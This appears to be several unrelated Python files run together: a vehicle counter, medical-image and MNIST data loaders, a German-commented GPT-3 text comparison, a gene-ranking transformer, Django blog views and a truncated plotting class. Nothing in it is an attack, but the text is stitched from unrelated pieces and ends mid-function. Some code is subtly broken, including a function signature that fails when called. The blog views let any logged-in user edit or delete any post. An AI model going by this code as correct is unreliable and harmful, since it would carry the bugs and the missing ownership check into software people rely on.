import numpy as np
import math
import cv2

center_points = {}
objects_bbs_ids = []
id_count = 0
vechical_count = 0
count = 0
person_id = 0

camera = cv2.VideoCapture("video.mp4")

object_detector = cv2.createBackgroundSubtractorMOG2(history = None, varThreshold = None)

kernelOp = np.ones((3,3), np.uint8)
kernelC1 = np.ones((11,11), np.uint8)
fgbg = cv2.createBackgroundSubtractorMOG2(detectShadows = True)
kernel_e = np.ones((5,5), np.uint8)

while True:
    ret, frame = camera.read()
    if not ret: break

    frame = cv2.resize(frame, None, fx = 0.5, fy = 0.5)
    width, height, _ = frame.shape

    roi = frame[50: 540, 200:960]

    fgmask = fgbg.apply(roi)
    ret, imBin = cv2.threshold(fgmask, 200, 255, cv2.THRESH_BINARY)
    mask1 = cv2.morphologyEx(imBin, cv2.MORPH_OPEN, kernelOp)
    mask2 = cv2.morphologyEx(mask1, cv2.MORPH_CLOSE, kernelC1)
    e_img = cv2.erode(mask2, kernel_e)

    contours, _ = cv2.findContours(e_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
    detections = []

    for cnt in contours:
        area = cv2.contourArea(cnt)

        if area > 1000:
            x, y, w, h = cv2.boundingRect(cnt)
            cv2.rectangle(roi, (x, y), (x + w, y + h), (0, 255, 0), 2)
            detections.append([x, y, w, h])

    for rect in detections:
        x, y, w, h = rect
        cx = (x + x + w) // 2
        cy = (y + y + h) // 2

        same_object_detected = False

        for id, pt in center_points.items():
            distance = math.hypot(cx - pt[0], cy - pt[1])

            if distance < 70:
                center_points[id] = (cx, cy)
                objects_bbs_ids.append([x, y, w, h, id])
                same_object_detected = True

                if (y >= 235 and y <= 255) and count != 1:
                    count += 1
                    vechical_count += count

        if same_object_detected is False and count != 1:
            center_points[id_count] = (cx, cy)
            objects_bbs_ids.append([x, y, w, h, id_count])
            count += 1
            vechical_count += 1
            id_count += 1

    new_center_point = {}

    for obj_bb_id in objects_bbs_ids:
        _, _, _, _, object_id = obj_bb_id
        center = center_points[object_id]
        new_center_point[object_id] = center

    center_points = new_center_point.copy()
    box_ids = objects_bbs_ids

    objects_bbs_ids = []
    count = 0

    for box_id in box_ids:
        x, y, w, h, id = box_id

        cv2.rectangle(roi, (x, y), (x + w, y + h), (0, 255, 0), 2)
        cv2.putText(roi, str(id),(x + 15, y + 15), cv2.FONT_HERSHEY_PLAIN, 2, (0, 0, 255), 4)

    cv2.rectangle(roi, (10, 10), (75, 75), (0, 255, 0), cv2.FILLED)
    cv2.putText(roi, str(vechical_count), (20, 50), cv2.FONT_HERSHEY_PLAIN, 3, (255, 0, 0), 4)

    cv2.imshow("counter", roi)

    if cv2.waitKey(1) == ord('q'): break

camera.release()
cv2.destroyAllWindows()


from torch.utils.data import Dataset
import numpy as np
from pathlib import Path
import pandas as pd
import torch
from dpipe.io import load_numpy

class BraTSDataset(Dataset):
    def __init__(self, meta: pd.DataFrame, source_folder: [str, Path], nonzero_mask=False, transform=None):
        if isinstance(source_folder, str):
            source_folder = Path(source_folder)

        if nonzero_mask:
            meta = meta[meta.sample_id.isin(meta.query('is_nonzero_mask == True').sample_id)]

        self.source_folder = source_folder
        self.meta_images = meta.query('is_mask == False').sort_values(by='sample_id').reset_index(drop=True)
        self.meta_masks = meta.query('is_mask == True').sort_values(by='sample_id').reset_index(drop=True)
        self.transform = transform

    def __len__(self):
        return self.meta_images.shape[0]

    def __getitem__(self, i):
        image = load_numpy(self.source_folder / self.meta_images.iloc[i]['relative_path'], allow_pickle=True, decompress=True)
        mask = load_numpy(self.source_folder / self.meta_masks.iloc[i]['relative_path'], allow_pickle=True, decompress=True)
        sample = image, mask

        if self.transform:
            image, mask = self.transform(sample)

        return torch.from_numpy(image).reshape(1, 240, 240), torch.from_numpy(mask).reshape(1, 240, 240).double()


import logging

import numpy as np
from sklearn.model_selection import train_test_split, StratifiedKFold

from utils import logging as lg
from heatmap_tutorial import utils as ht_utils

lg.set_logging()

def get_mnist(dataset, dir_path='./data/mnist'):

    if dataset == 'train':
        prefix = 'train'
    elif dataset == 'test':
        prefix = 't10k'
    else:
        raise ValueError('No dataset MNIST - %s' % dataset)

    logging.debug('Load %s : %s' % (dir_path, dataset))

    x_path = '%s/%s-images-idx3-ubyte' % (dir_path, prefix)
    y_path = '%s/%s-labels-idx1-ubyte' % (dir_path, prefix)

    with open(x_path) as xf:
        with open(y_path) as yf:
            x = 2.0*np.fromfile(xf, dtype='ubyte', count=-1)[16:].reshape((-1, 784)) / 255 - 1
            y = np.fromfile(yf, dtype='ubyte', count=-1)[8:]
            y = (y[:, np.newaxis] == np.arange(10)) * 1.0
    return x, y

def get_empty_data():
    return np.zeros((28, 28)) - 1

def fill_left_right_digit(x, y, seed=71):
    new_x = np.zeros((x.shape[0], 28, 28*3))

    new_x[:, :, 28:(28*2)] = x

    def plot_sample_propotions(indices, label):
        y_not_in_class_i = classes[indices]
        counts = dict()
        for jj in range(10):
            counts[jj] = np.sum(y_not_in_class_i == jj)

        logging.info('%s | sample propotions' % (label))
        logging.info(counts)

    np.random.seed(seed)
    classes = np.argmax(y, axis=1)

    # plot_sample_propotions(range(classes.shape[0]), 'total')

    for i in range(10):
        samples_in_class_i = np.squeeze(np.argwhere(classes == i))
        total = samples_in_class_i.shape[0]

        samples_not_in_class_i = np.squeeze(np.argwhere(classes != i))

        left_indices = np.random.choice(samples_not_in_class_i, total)
        # plot_sample_propotions(left_indices, 'left-%d' % i)

        right_indices = np.random.choice(samples_not_in_class_i, total)
        # plot_sample_propotions(right_indices, 'right-%d' % i)

        new_x[samples_in_class_i, :, :28] = x[left_indices, :, :]
        new_x[samples_in_class_i, :, -28:] = x[right_indices, :, :]

    return new_x, y

def expand_samples(x, y, n=7, seed=71):
    new_x = np.zeros((x.shape[0], x.shape[1], x.shape[2]*n))
    np.random.seed(seed)
    classes = np.argmax(y, axis=1)

    original_sample_idx = np.floor(n / 2).astype(int)

    new_x[:, :, x.shape[2]*original_sample_idx:x.shape[2]*(original_sample_idx+1)] = x

    for i in range(y.shape[1]):
        samples_in_class_i = np.squeeze(np.argwhere(classes == i))
        total = samples_in_class_i.shape[0]

        samples_not_in_class_i = np.squeeze(np.argwhere(classes != i))

        for j in range(n):
            if j == original_sample_idx:
                continue
            indices = np.random.choice(samples_not_in_class_i, total)
            new_x[samples_in_class_i, :, j*x.shape[2]:(j+1)*x.shape[2]] = x[indices, :, :]

    return new_x, y

def create_majority_data(x, y, seed=71):
    np.random.seed(seed)
    classes = np.argmax(y, axis=1)

    new_x = np.tile(x, (1, 3))

    digit_positions = np.zeros((new_x.shape[0], 3))

    for i in range(10):
        samples_in_class_i = np.squeeze(np.argwhere(classes == i))
        total = samples_in_class_i.shape[0]

        samples_not_in_class_i = np.squeeze(np.argwhere(classes != i))

        fake_digit_idx = np.random.choice(samples_not_in_class_i, total)
        same_class_digit_idx = np.random.choice(samples_in_class_i, total)

        for j, idx in zip(range(total), samples_in_class_i):
            dd = [x[idx, :, :], x[same_class_digit_idx[j], :, :], x[fake_digit_idx[j], :, :]]
            permuted_pos = np.random.permutation(range(3))

            digit_positions[idx] = permuted_pos
            dd_permuted = [dd[jj] for jj in permuted_pos]

            new_x[idx, :, :] = np.concatenate(dd_permuted, axis=1)

    return new_x, y, digit_positions <= 1

def create_middle_mark(no_x, no_digit=3):
    zeros = np.zeros((no_x, no_digit))
    zeros[:, int(np.floor(no_digit/2))] = 1
    return zeros

def build_cvdataset(data, k=10):

    xar = []
    yar = []
    mar = []

    total_data = 0
    for d in [data.train2d, data.test2d, data.val2d]:
        xar.append(d.x)
        yar.append(d.y)
        mar.append(d.correct_digit_mark)

        total_data += d.y.shape[0]

    datasets = []

    x = np.vstack(xar)
    logging.info('total x shape')
    logging.info(x.shape)

    y = np.vstack(yar)
    logging.info('total y shape')
    logging.info(y.shape)

    mark = np.vstack(mar)
    logging.info('total mark shape')
    logging.info(mark.shape)

    skf = StratifiedKFold(n_splits=k, random_state=71, shuffle=True)
    for train_indices, test_indices in skf.split(x, np.argmax(y, axis=1)):
        dtrain = DataSet(x=x[train_indices, ...], y=y[train_indices, ...], correct_digit_mark=mark[train_indices, ...])
        dtest = DataSet(x=x[test_indices, ...], y=y[test_indices, ...], correct_digit_mark=mark[test_indices, ...])
        datasets.append((dtrain, dtest, dtest))

    return datasets

class DatasetLoader():
    def __init__(self, data_dir):
        self.prepend_dir = lambda p: '%s/%s' % (data_dir, p)
        self.cache = dict()

    def load(self, dataset_name):

        if self.cache.get(dataset_name):
            return self.cache[dataset_name]

        if dataset_name == 'mnist':
            data = MNISTData(dir_path=self.prepend_dir('mnist'))
        elif dataset_name == 'fashion-mnist':
            data = FashionMNISTData(dir_path=self.prepend_dir('fashion-mnist'))
        elif dataset_name == 'ufi-cropped':
            data = UFICroppedData(dir_path=self.prepend_dir('ufi-cropped'))
        elif dataset_name == 'mnist-3-digits':
            data = MNIST3DigitsData(dir_path=self.prepend_dir('mnist'))
        elif dataset_name == 'mnist-3-digits-maj':
            data = MNIST3DigitsWithMajorityData(dir_path=self.prepend_dir('mnist'))
        elif dataset_name == 'fashion-mnist-3-items':
            data = FashionMNIST3ItemsData(dir_path=self.prepend_dir('fashion-mnist'))
        elif dataset_name == 'fashion-mnist-3-items-maj':
            data = FashionMNIST3DigitsWithMajorityData(dir_path=self.prepend_dir('fashion-mnist'))
        elif dataset_name == 'mnist-7-digits':
            data = MNISTMiddleSampleProblem(n=7, seed=5, dir_path=self.prepend_dir('mnist'))
        elif dataset_name == 'fashion-mnist-7-items':
            data = MNISTMiddleSampleProblem(n=7, seed=15, dir_path=self.prepend_dir('fashion-mnist'))
        else:
            raise SystemError('No dataset name `%s`' % dataset_name)

        self.cache[dataset_name] = data

        return self.cache[dataset_name]

class DataSet:
    def __init__(self, x, y, correct_digit_mark=None):
        self.x = x
        self.y = y
        self.correct_digit_mark = correct_digit_mark

    def get_batch(self, no_batch, seed=71):
        total = len(self.x)

        np.random.seed(seed)
        shuffled_indices = np.random.permutation(total)

        x = self.x[shuffled_indices, :, :]
        y = self.y[shuffled_indices, :]

        for ndx in range(0, total, no_batch):
            yield (x[ndx:min(ndx + no_batch, total)], y[ndx:min(ndx + no_batch, total)])

class MNISTData:
    def __init__(self, dir_path='./data/mnist'):

        self.dir_path = dir_path

        x_train, y_train = get_mnist('train', dir_path=dir_path)
        x_test, y_test = get_mnist('test', dir_path=dir_path)

        x_train, x_val, y_train, y_val = train_test_split(x_train, y_train, test_size=0.2, random_state=71)

        self.no_classes = 10
        self.dims = (28, 28)

        self.train = DataSet(x_train, y_train)
        self.val = DataSet(x_val, y_val)
        self.test = DataSet(x_test, y_test)

        self.train2d = DataSet(x_train.reshape(-1, 28, 28), y_train)
        self.val2d = DataSet(x_val.reshape(-1, 28, 28), y_val)
        self.test2d = DataSet(x_test.reshape(-1, 28, 28), y_test)

        self.labels = {
            0: 'Digit 0',
            1: 'Digit 1',
            2: 'Digit 2',
            3: 'Digit 3',
            4: 'Digit 4',
            5: 'Digit 5',
            6: 'Digit 6',
            7: 'Digit 7',
            8: 'Digit 8',
            9: 'Digit 9'
        }

    def get_text_label(self, label_index):
        return 'Digit %d' % label_index

    def get_samples_for_vis(self, n=12):

        np.random.seed(1234)

        r = np.random.randint(0,  self.test2d.y.shape[0], n)

        return self.test2d.x[r, :, :], self.test2d.y[r]

class MNIST3DigitsData(MNISTData):
    def __init__(self, **kwargs):
        super(MNIST3DigitsData, self).__init__(**kwargs)

        self.dims = (28, 28*3)

        self.train2d = DataSet(*fill_left_right_digit(self.train2d.x, self.train2d.y, seed=0),
                               correct_digit_mark=create_middle_mark(self.train2d.x.shape[0]))

        self.val2d = DataSet(*fill_left_right_digit(self.val2d.x, self.val2d.y, seed=1),
                             correct_digit_mark=create_middle_mark(self.val2d.x.shape[0])
                             )

        self.test2d = DataSet(*fill_left_right_digit(self.test2d.x, self.test2d.y, seed=3),
                              correct_digit_mark=create_middle_mark(self.test2d.x.shape[0])
                              )

        self.train = self.train2d
        self.val = self.val2d
        self.test = self.test2d

class MNIST3DigitsWithMajorityData(MNISTData):
    def __init__(self, **kwargs):
        super(MNIST3DigitsWithMajorityData, self).__init__(**kwargs)

        self.dims = (28, 28*3)

        x, y, train2d_correct_digit_mark = create_majority_data(self.train2d.x, self.train2d.y, seed=0)
        self.train2d = DataSet(x, y, correct_digit_mark=train2d_correct_digit_mark)
        assert self.train2d.correct_digit_mark.shape[0] == self.train2d.y.shape[0]

        x, y, val2d_correct_digit_mark = create_majority_data(self.val2d.x, self.val2d.y, seed=1)
        self.val2d = DataSet(x, y, correct_digit_mark=val2d_correct_digit_mark)
        assert self.val2d.correct_digit_mark.shape[0] == self.val2d.y.shape[0]

        x, y, test2d_correct_digit_mark = create_majority_data(self.test2d.x, self.test2d.y, seed=3)
        self.test2d = DataSet(x, y, correct_digit_mark=test2d_correct_digit_mark)
        assert self.test2d.correct_digit_mark.shape[0] == self.test2d.y.shape[0]

        self.train = self.train2d
        self.val = self.val2d
        self.test = self.test2d

class MNISTMiddleSampleProblem(MNISTData):
    def __init__(self, n=7, seed=1, **kwargs):
        super(MNISTMiddleSampleProblem, self).__init__(**kwargs)
        self.dims = (28, 28*n)

        self.train2d = DataSet(*expand_samples(self.train2d.x, self.train2d.y, n, seed=seed))
        self.train2d_correct_digit_mark = create_middle_mark(self.train2d.x.shape[0], no_digit=n)

        self.val2d = DataSet(*expand_samples(self.val2d.x, self.val2d.y, n, seed=seed+1))
        self.val2d_correct_digit_mark = create_middle_mark(self.val2d.x.shape[0], no_digit=n)

        self.test2d = DataSet(*expand_samples(self.test2d.x, self.test2d.y, n, seed=seed+2))
        self.test2d_correct_digit_mark = create_middle_mark(self.test2d.x.shape[0], no_digit=n)

        self.train = self.train2d
        self.val = self.val2d
        self.test = self.test2d

        labels = {
            0: 'Digit 0',
            1: 'Digit 1',
            2: 'Digit 2',
            3: 'Digit 3',
            4: 'Digit 4',
            5: 'Digit 5',
            6: 'Digit 6',
            7: 'Digit 7',
            8: 'Digit 8',
            9: 'Digit 9'
        }

        if 'fashion' in kwargs['dir_path']:
            labels = {
                0: 'T-shirt/top',
                1: 'Trouser',
                2: 'Pullover',
                3: 'Dress',
                4: 'Coat',
                5: 'Sandal',
                6: 'Shirt',
                7: 'Sneaker',
                8: 'Bag',
                9: 'Ankle boot'
            }

        self.labels = labels

class FashionMNISTData:
    def __init__(self, dir_path='./data/fashion-mnist'):

        x_train, y_train = get_mnist('train', dir_path=dir_path)
        x_test, y_test = get_mnist('test', dir_path=dir_path)

        x_train, x_val, y_train, y_val = train_test_split(x_train, y_train, test_size=0.2, random_state=71)

        self.dims = (28, 28)
        self.no_classes = 10

        self.train = DataSet(x_train, y_train)
        self.val = DataSet(x_val, y_val)
        self.test = DataSet(x_test, y_test)

        self.train2d = DataSet(x_train.reshape(-1, 28, 28), y_train)
        self.val2d = DataSet(x_val.reshape(-1, 28, 28), y_val)
        self.test2d = DataSet(x_test.reshape(-1, 28, 28), y_test)

        self.labels = {
            0: 'T-shirt/top',
            1: 'Trouser',
            2: 'Pullover',
            3: 'Dress',
            4: 'Coat',
            5: 'Sandal',
            6: 'Shirt',
            7: 'Sneaker',
            8: 'Bag',
            9: 'Ankle boot'
        }

    def get_samples_for_vis(self, n=12):

        indices = [588, 314, 47, 145, 258, 641, 561, 3410, 1094, 4059, 518, 9304][:n]

        return self.test2d.x[indices, :], self.test2d.y[indices]

    def get_text_label(self, label_index):
        return self.labels[label_index]

class FashionMNIST3ItemsData(FashionMNISTData):
    def __init__(self, **kwargs):
        super(FashionMNIST3ItemsData, self).__init__(**kwargs)

        self.dims = (28, 28*3)

        self.train2d = DataSet(*fill_left_right_digit(self.train2d.x, self.train2d.y, seed=20),
                               correct_digit_mark=create_middle_mark(self.train2d.x.shape[0]))

        self.val2d = DataSet(*fill_left_right_digit(self.val2d.x, self.val2d.y, seed=21),
                             correct_digit_mark=create_middle_mark(self.val2d.x.shape[0])
                             )

        self.test2d = DataSet(*fill_left_right_digit(self.test2d.x, self.test2d.y, seed=23),
                              correct_digit_mark=create_middle_mark(self.test2d.x.shape[0])
                              )

        self.train = self.train2d
        self.val = self.val2d
        self.test = self.test2d

class FashionMNIST3DigitsWithMajorityData(FashionMNISTData):
    def __init__(self, **kwargs):
        super(FashionMNIST3DigitsWithMajorityData, self).__init__(**kwargs)

        self.dims = (28, 28*3)

        x, y, train2d_correct_digit_mark = create_majority_data(self.train2d.x, self.train2d.y, seed=0)
        self.train2d = DataSet(x, y, correct_digit_mark=train2d_correct_digit_mark)
        assert self.train2d.correct_digit_mark.shape[0] == self.train2d.y.shape[0]

        x, y, val2d_correct_digit_mark = create_majority_data(self.val2d.x, self.val2d.y, seed=1)
        self.val2d = DataSet(x, y, correct_digit_mark=val2d_correct_digit_mark)
        assert self.val2d.correct_digit_mark.shape[0] == self.val2d.y.shape[0]

        x, y, test2d_correct_digit_mark = create_majority_data(self.test2d.x, self.test2d.y, seed=3)
        self.test2d = DataSet(x, y, correct_digit_mark=test2d_correct_digit_mark)
        assert self.test2d.correct_digit_mark.shape[0] == self.test2d.y.shape[0]

        self.train = self.train2d
        self.val = self.val2d
        self.test = self.test2d

class UFICroppedData:
    def __init__(self, dir_path='./data/ufi-cropped'):
        # subsampling_indices = list(np.arange(0, 128, 2))

        def avg_pooling(x):
            new_x = np.zeros((x.shape[0], 64, 64))

            for i in range(0, x.shape[1], 2):
                for j in range(0, x.shape[2], 2):
                    new_x[:, int(i/2), int(j/2)] = np.mean(x[:, i:(i+2), j:(j+2)].reshape(-1, 4), axis=1)

            return new_x

        def flip_data(x, y):
            total = x.shape[0]
            new_x = np.tile(x, (2, 1, 1))
            new_y = np.tile(y, (2, 1))

            new_x[total:, :, :] = x[:, :, ::-1]

            np.random.seed(0)

            shuffled_indices = np.arange(total*2)
            np.random.shuffle(shuffled_indices)

            return new_x[shuffled_indices, :, :], new_y[shuffled_indices, :]

        x_train = avg_pooling(np.load('%s/train-x.npy' % dir_path).reshape(-1, 128, 128))
        y_train = np.load('%s/train-y.npy' % dir_path)

        # print(x_train[0])
        # print(np.argmax(y_train[0]))

        x_train, y_train = flip_data(x_train, y_train)
        # print('Train data', x_train.shape)

        x_test = avg_pooling(np.load('%s/test-x.npy' % dir_path).reshape(-1, 128, 128))
        y_test = np.load('%s/test-y.npy' % dir_path)

        x_test, y_test = flip_data(x_test, y_test)
        # print('Test data', x_test.shape)

        self.dims = (64, 64)

        # This is a bad idea but we have limited amount of data
        x_val, y_val = x_test, y_test

        self.no_classes = y_test.shape[1]

        self.train = DataSet(x_train, y_train)
        self.val = DataSet(x_val, y_val)
        self.test = DataSet(x_test, y_test)

        self.train2d = DataSet(x_train, y_train)
        self.val2d = DataSet(x_val, y_val)
        self.test2d = DataSet(x_test, y_test)

    def get_samples_for_vis(self, n=12):

        print("WARNING! this is data sampled from training set not testing one")
        indices = [2785, 2973, 57, 906, 393, 3666, 3502, 1222, 731, 2659, 3400, 656]

        return self.train2d.x[indices, :], self.train2d.y[indices]

    def get_text_label(self, label_index):
        return 'Person %d' % label_index


import openai
import csv
import argparse
from collections import Counter
from typing import List
from data.discourse_connectors import discourse_connectors

# Ihr OpenAI GPT-3 API-Schlüssel
api_key = "[insert your API KEY here]"

def parse_arguments() -> argparse.Namespace:
    """CLI-Argumente parsen."""
    parser = argparse.ArgumentParser(description='Vergleicht die Häufigkeit von Diskursmarkern in Artikeln und GPT-3 Texten.')
    parser.add_argument('korpus', help='Pfad zum TSV-Korpus')
    parser.add_argument('--anzahl_artikel', type=int, default=10, help='Anzahl der zu vergleichenden Artikel')
    return parser.parse_args()

def count_connectors(text: str, connectors, List) -> Counter:
    """Zählt die Diskursmarker im Text."""
    words = text.lower().split()
    return Counter([word for word in words if word in connectors])

def get_gpt_text(prompt: str, token_limit: int) -> str:
    """Holt den generierten Text von GPT-3."""
    openai.api_key = api_key
    response = openai.Completion.create(
        engine="text-davinci-002",
        prompt=prompt,
        max_tokens=token_limit
    )
    return response.choices[0].text.strip()

def trim_to_same_length(article_text: str, gpt_text: str) -> (str, str):
    """Kürzt die Texte auf die gleiche Länge."""
    token_limit = min(len(article_text.split()), len(gpt_text.split()))
    return ' '.join(article_text.split()[:token_limit]), ' '.join(gpt_text.split()[:token_limit])

def sum_total_connectors(counter: Counter) -> int:
    """Berechnet die Gesamtanzahl der Diskursmarker in einem Counter."""
    return sum(counter.values())

def main():
    """
    Pseudo-Code für main():

    1. CLI-Argumente parsen.
    2. Öffne den Korpus und lese die angegebene Anzahl an Artikeln.
    3. Für jeden Artikel:
        a. Nutze die ersten 10 Sätze als Prompt für GPT-3.
        b. Generiere den GPT-3 Text.
        c. Kürze Artikel und GPT-3 Text auf die gleiche Länge.
        d. Zähle die Diskursmarker in beiden Texten.
        e. Schreibe die Ergebnisse in die CSV-Datei.
    4. Berechne die Durchschnittswerte und gib sie im Terminal aus.
    """

    args = parse_arguments()

    # Ausgabe-CSV-Datei vorbereiten
    with open('output.csv', 'w', newline='', encoding='utf-8') as csvfile:
        fieldnames = ['Head', 'Article_Connectors', 'Article_Text', 'GPT_Connectors', 'GPT_Text']
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
        writer.writeheader()

        article_connector_totals = []
        gpt_connector_totals = []

        # Korpus öffnen und Artikel lesen
        with open(args.korpus, 'r', encoding='utf-8') as f:
            reader = csv.DictReader(f, delimiter='\t')

            for i, row in enumerate(reader):
                if i >= args.anzahl_artikel:
                    break

                # Prompt für GPT-3 erstellen
                article_text = row['content']
                head = row['head']
                prompt = '. '.join(article_text.split('. ')[:10])

                # GPT-3 Text generieren
                token_limit = len(article_text.split())
                gpt_text = get_gpt_text(prompt, token_limit)

                # Texte auf gleiche Länge kürzen
                article_text, gpt_text = trim_to_same_length(article_text, gpt_text)

               # Diskursmarker zählen
                article_counts = count_connectors(article_text, discourse_connectors)
                gpt_counts = count_connectors(gpt_text, discourse_connectors)

                article_total = sum_total_connectors(article_counts)
                gpt_total = sum_total_connectors(gpt_counts)

                # Ergebnisse in der CSV-Datei speichern
                writer.writerow({'Head': head, 'Article_Connectors': article_total, 'Article_Text': article_text, 'GPT_Connectors': gpt_total, 'GPT_Text': gpt_text})

                article_connector_totals.append(article_total)
                gpt_connector_totals.append(gpt_total)

        # Durchschnittswerte berechnen
        avg_article_total = sum(article_connector_totals) / args.anzahl_artikel
        avg_gpt_total = sum(gpt_connector_totals) / args.anzahl_artikel

        # Durchschnittswerte im Terminal ausgeben
        print(f"Durchschnittliche Diskursmarker im Artikel: {avg_article_total}")
        print(f"Durchschnittliche Diskursmarker im GPT-Text: {avg_gpt_total}")

if __name__ == '__main__':
    main()

"""
Output:
Durchschnittliche Diskursmarker im Artikel: 26.1
Durchschnittliche Diskursmarker im GPT-Text: 24.6
"""


# This class implements the adaptive rank transformation used in classifier ANOVA_subset_ranking_lr

import sklearn.base as base
import scipy
import time
import logging
import torch
from utilities.optirank.ranking_multiplication import ranking_transformation
import numpy as np
import statsmodels.api as sm
from statsmodels.formula.api import ols
import pandas as pd

def calculate_F_ANOVA(X, label, dataset):
    """
    for every feature, compute the F_value corresponding to the effect of the dataset source
    (not taking into account the interaction term).
    :param X: n x d numpy array
    :param label: n numpy array with labels.
    :param dataset: n numpy array with dataset name corresponding to each observation.
    :return: F_value for each feature (the bigger the F, the greater the shift between datasets).
    """

    F_dataset = []
    for gene_index in range(X.shape[1]):
        df = pd.DataFrame({"label": label, "dataset": dataset, "expr": X[:, gene_index].flatten()})
        model = ols('expr ~ C(label) + C(dataset) + C(label):C(dataset)', data=df).fit()
        stats = sm.stats.anova_lm(model, typ=2)
        F = stats.loc["C(dataset)", "F"]
        F_dataset.append(F)

    return np.array(F_dataset)

def merge_two_datasets(X, y, X_other, y_other, mask_dataset_other):
    """
    Returns X, y, dataset.
    X is a numpy array containing the observations for two datasets, y contains
    the corresponding labels, and dataset is a str numpy array with "0" or "1" that indicate to which dataset the
    observations belong.
    There are two modes of usage:
    If X_other and y_other are None, and mask_dataset_other is provided, it implicitely indicates that the two datasets
    are already mixed in X,y. Otherwise, if X_other, y_other are given, and mask_dataset_other is None, the two datas
    are merged in a new array.
    """
    if X_other is not None:
        X_all = np.vstack([X, X_other])
        y_all = np.concatenate([y, y_other])
        dataset = np.concatenate([np.repeat("0", len(y)), np.repeat("1", len(y_other))])
        return X_all, y_all, dataset
    else:
        dataset = np.repeat("0", len(y))
        dataset[mask_dataset_other] = "1"
        return X, y, dataset

class ANOVA_subset_ranking(base.BaseEstimator, base.TransformerMixin):

    def __init__(self, fitted=False, X=None, y=None, sum_gamma=None, perc_gamma=None, time_economy=False, X_other=None,
                 y_other=None, mask_dataset_other=None):
        """
        transformer that selects the features that are the least influenced by the dataset source, based on a two way
        ANOVA test that estimates the dependence of each feature on the dataset.
        To function, X,y values must be provided for two dataset-sources, and the dataset effect is estimated.
        There are two modes of use:
            1) with X_other, y_other
            2) with mask_dataset_other, which indicate which samples in X,y belong to the other dataset

        These two modes permit to include (or not) the other dataset in the transformed data.

        :param fitted:
        :param X: nxd numpy array with data
        :param y: n numpy array with label
        :param sum_gamma: integer indicating how many features to select as ranking reference.
        :param perc_gamma: float indicating which percentage of features to use as ranking reference.
        :param time_economy: if True, X and y are cached, and the F-values are not re-calculated for subsequent values of hyperparameters gamma.
        :param X_other: nxd numpy array with data
        :param y_other: n numpy array with label
        :param mask_dataset_other: boolean mask that selects the "secondary dataset" samples.
        """

        super(ANOVA_subset_ranking, self).__init__()
        self.sum_gamma = sum_gamma
        self.perc_gamma = perc_gamma
        self.time_economy = time_economy
        self.fitted = fitted
        self.X = X
        self.y = y
        self.X_other = X_other
        self.y_other = y_other
        self.mask_dataset_other = mask_dataset_other

    def fit(self, X, y):

        n_genes = X.shape[1]

        # sum_gamma-perc_gamma agreement
        if self.sum_gamma is None:
            self.sum_gamma = int(self.perc_gamma * n_genes)

        if isinstance(y, list):
            y = np.array(y)

        if self.time_economy:
            start = time.time()
            if self.fitted == False or not (np.all(X == self.X)) or not (
            np.all(y == self.y)):  # hope it doesn't throw an error when X is not fitted
                # storing X and parameters
                self.X = X
                self.y = y

                # calculate F values
                X_merged, y_merged, dataset_merged = merge_two_datasets(X, y, self.X_other, self.y_other,
                                                                        self.mask_dataset_other)
                self.F_ = calculate_F_ANOVA(X_merged, y_merged, dataset_merged)
                stop = time.time()
                logging.debug('__time_economy:calculation:{}'.format(stop - start))
            else:
                stop = time.time()
                logging.debug('__time_economy:rentability:{}'.format(stop - start))
        else:
            X_merged, y_merged, dataset_merged = merge_two_datasets(X, y, self.X_other, self.y_other,
                                                                    self.mask_dataset_other)
            self.F_ = calculate_F_ANOVA(X_merged, y_merged, dataset_merged)

        self.fitted = True
        return self

    def transform(self, X):
        n_genes = X.shape[1]
        ranking_F_indices = self.F_.argsort()

        selection_indices = ranking_F_indices[0:np.min([self.sum_gamma, n_genes])]

        # converting reference genes to binary gamma
        gamma = np.zeros(n_genes, dtype="bool")
        gamma[selection_indices] = True
        self.gamma_ = torch.Tensor(gamma)

        # ranking X_expr wrt gamma (in "avg" mode)
        X_ranked = ranking_transformation(X, self.gamma_, "avg", "d")

        return X_ranked

    def to_lightweight(self, copy=False):
        if copy:
            new_lightweight = ANOVA_subset_ranking(fitted=True, X=None, y=None, sum_gamma=self.sum_gamma,
                                                   perc_gamma=self.perc_gamma, time_economy=self.time_economy,
                                                   X_other=None, y_other=None)
            new_lightweight.gamma_ = self.gamma_
            new_lightweight.F_ = self.F_
            return new_lightweight
        else:
            self.X_other = None
            self.y_other = None
            self.X = None
            self.y = None
            return self


from __future__ import unicode_literals
from django.shortcuts import render, get_object_or_404, redirect
from .models import Post, Tag
from .forms import PostAddForm
from django.contrib.auth.decorators import login_required

# Create your views here.
@login_required
def delete(request, post_id):
    post = get_object_or_404(Post, id=post_id)
    post.delete()
    return redirect('blog_app:index')

@login_required
def edit(request, post_id):
    post = get_object_or_404(Post, id=post_id)
    if request.method == "POST":
        #instance:オブジェクトとほぼ同義でクラスを使用したデータの実体
        form = PostAddForm(request.POST, request.FILES, instance=post)
        if form.is_valid():
            form.save()
            return redirect('blog_app:detail', post_id=post.id)
    else:
        form = PostAddForm(instance=post)
    #formにpostのデータを入れた状態のデータをadd.htmlに入れる
    return render(request, 'blog_app/edit.html', {'form': form, 'post': post})

@login_required
def add(request):
    #url/へ遷移してからPOSTでリクエスト出したとき
    if request.method == "POST":
        #リクエストがPOSTなら、formの中身とユーザーを更新してレスポンス
        form = PostAddForm(request.POST, request.FILES)#FILESは画像などのファイルデータ
        if form.is_valid():
            #保存する前にどのuserの投稿か判断
            post = form.save(commit=False)#仮登録
            post.user = request.user
            #記事の内容とuserの判別に成功したら保存
            post.save()
            return redirect('blog_app:index')
    #url/へ遷移してからPOST以外のリクエスト出したとき
    else:
        #リクエストがPOST以外なら,特になにも更新せずにレスポンスに返す
        form = PostAddForm()
    #url/へ遷移してなにもしてない状態
    #formにpostを入れていない空の状態のデータをadd.htmlに入れる
    return render(request, 'blog_app/add.html', {'form': form})

def detail(request, post_id):
    post = get_object_or_404(Post, id=post_id)
    return render(request, 'blog_app/detail.html', {'post': post})

def index(request):
    posts = Post.objects.all().order_by('-created_at')
    return render(request, 'blog_app/index.html', {'posts': posts})


# -*- coding:UTF-8 -*-
import numpy as np
import xlrd as xlrd
from scipy.stats import norm
import matplotlib
import matplotlib.pyplot as plt
import pandas as pd
import sys
import importlib
# 参数1 Excel文件位置 参数2 选择要作图的表格    参数3、4、5 xy轴代表含义以及标题文字 参数6列数 函数可以选择某地址文件某一个表格某一列来操作
class Make_figure:
    def result_pic(address, Excel_Choice,xlabel,ylabel,title,FormColumns):
        # 设置字体
        importlib.reload(sys)
